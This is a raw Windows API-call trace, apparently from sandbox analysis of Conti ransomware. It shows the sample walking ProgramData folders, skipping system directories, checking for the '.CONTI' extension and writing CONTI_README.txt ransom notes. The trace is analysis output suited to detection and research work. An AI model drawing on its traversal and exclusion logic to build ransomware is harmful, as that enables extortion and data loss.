	[0105.452] lstrcpyW (in: lpString1=0x17405c8, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0105.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\"
	[0105.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\CONTI_README.txt"
	[0105.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.453] GetProcessHeap () returned 0x1720000
	[0105.453] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17405c8 | out: hHeap=0x1720000) returned 1
	[0105.453] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.454] CloseHandle (hObject=0x30c) returned 1
	[0105.454] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8430
	[0105.454] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.454] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.454] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.454] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.454] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.454] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.454] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.454] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.454] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.454] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Views", cAlternateFileName="")) returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2=".") returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="..") returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="tmp") returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="winnt") returned -1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="Application Data") returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="AppData") returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="temp") returned 1
	[0105.454] lstrcmpiW (lpString1="Views", lpString2="thumb") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="$Recycle.Bin") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="$RECYCLE.BIN") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="System Volume Information") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="Program Files") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="Program Files (x86)") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="Boot") returned 1
	[0105.455] lstrcmpiW (lpString1="Views", lpString2="Windows") returned -1
	[0105.455] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37
	[0105.455] lstrlenW (lpString="Views") returned 5
	[0105.455] GetProcessHeap () returned 0x1720000
	[0105.455] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c11a8
	[0105.455] lstrcpyW (in: lpString1=0x17c11a8, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0105.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\"
	[0105.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="Views" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"
	[0105.455] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 43
	[0105.455] GetProcessHeap () returned 0x1720000
	[0105.455] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5c) returned 0x17c0c60
	[0105.455] lstrcpyW (in: lpString1=0x17c0c60, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"
	[0105.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*"
	[0105.455] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 43
	[0105.455] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.455] GetProcessHeap () returned 0x1720000
	[0105.455] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7a) returned 0x176b8a8
	[0105.455] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"
	[0105.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\"
	[0105.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\CONTI_README.txt"
	[0105.455] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.456] GetProcessHeap () returned 0x1720000
	[0105.456] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0105.456] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.457] CloseHandle (hObject=0x38c) returned 1
	[0105.457] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c81b0
	[0105.457] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.457] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.457] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.457] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.457] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1
	[0105.457] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2=".") returned 1
	[0105.457] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="..") returned 1
	[0105.457] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="tmp") returned -1
	[0105.457] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="winnt") returned -1
	[0105.457] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Application Data") returned 1
	[0105.457] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="AppData") returned 1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="temp") returned -1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="thumb") returned -1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="$Recycle.Bin") returned 1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="$RECYCLE.BIN") returned 1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="System Volume Information") returned -1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Program Files") returned -1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Program Files (x86)") returned -1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Boot") returned -1
	[0105.458] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Windows") returned -1
	[0105.458] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 43
	[0105.458] lstrlenW (lpString="ApplicationViewsRootNode") returned 24
	[0105.458] GetProcessHeap () returned 0x1720000
	[0105.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8a) returned 0x181c1f0
	[0105.458] lstrcpyW (in: lpString1=0x181c1f0, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"
	[0105.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\"
	[0105.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\", lpString2="ApplicationViewsRootNode" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0105.458] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 68
	[0105.458] GetProcessHeap () returned 0x1720000
	[0105.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8e) returned 0x181c3b8
	[0105.458] lstrcpyW (in: lpString1=0x181c3b8, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0105.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*"
	[0105.458] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 68
	[0105.458] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.458] GetProcessHeap () returned 0x1720000
	[0105.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xac) returned 0x17c7588
	[0105.458] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0105.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\"
	[0105.458] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\CONTI_README.txt"
	[0105.458] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\applicationviewsrootnode\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0105.459] GetProcessHeap () returned 0x1720000
	[0105.459] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0105.459] WriteFile (in: hFile=0x350, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0105.460] CloseHandle (hObject=0x350) returned 1
	[0105.460] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0105.460] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.460] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0105.460] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.460] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.460] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.460] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.460] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.460] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.460] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.460] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.460] GetProcessHeap () returned 0x1720000
	[0105.460] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c3b8 | out: hHeap=0x1720000) returned 1
	[0105.460] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0105.460] GetProcessHeap () returned 0x1720000
	[0105.460] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c1f0 | out: hHeap=0x1720000) returned 1
	[0105.460] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.460] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.460] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.460] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.460] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.460] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.461] GetProcessHeap () returned 0x1720000
	[0105.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0c60 | out: hHeap=0x1720000) returned 1
	[0105.461] FindClose (in: hFindFile=0x17c81b0 | out: hFindFile=0x17c81b0) returned 1
	[0105.461] GetProcessHeap () returned 0x1720000
	[0105.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c11a8 | out: hHeap=0x1720000) returned 1
	[0105.461] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Views", cAlternateFileName="")) returned 0
	[0105.461] GetProcessHeap () returned 0x1720000
	[0105.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf338 | out: hHeap=0x1720000) returned 1
	[0105.461] FindClose (in: hFindFile=0x17c8430 | out: hFindFile=0x17c8430) returned 1
	[0105.461] GetProcessHeap () returned 0x1720000
	[0105.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf288 | out: hHeap=0x1720000) returned 1
	[0105.461] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2=".") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="..") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="tmp") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="winnt") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="Application Data") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="AppData") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="temp") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="thumb") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="$Recycle.Bin") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="$RECYCLE.BIN") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="System Volume Information") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="Program Files") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="Program Files (x86)") returned -1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="Boot") returned 1
	[0105.461] lstrcmpiW (lpString1="IdentityCRL", lpString2="Windows") returned -1
	[0105.461] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.461] lstrlenW (lpString="IdentityCRL") returned 11
	[0105.461] GetProcessHeap () returned 0x1720000
	[0105.461] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4a) returned 0x17bee68
	[0105.461] lstrcpyW (in: lpString1=0x17bee68, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.461] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0105.462] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36
	[0105.462] GetProcessHeap () returned 0x1720000
	[0105.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bef18
	[0105.462] lstrcpyW (in: lpString1=0x17bef18, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0105.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\*"
	[0105.462] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36
	[0105.462] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.462] GetProcessHeap () returned 0x1720000
	[0105.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x1740640
	[0105.462] lstrcpyW (in: lpString1=0x1740640, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
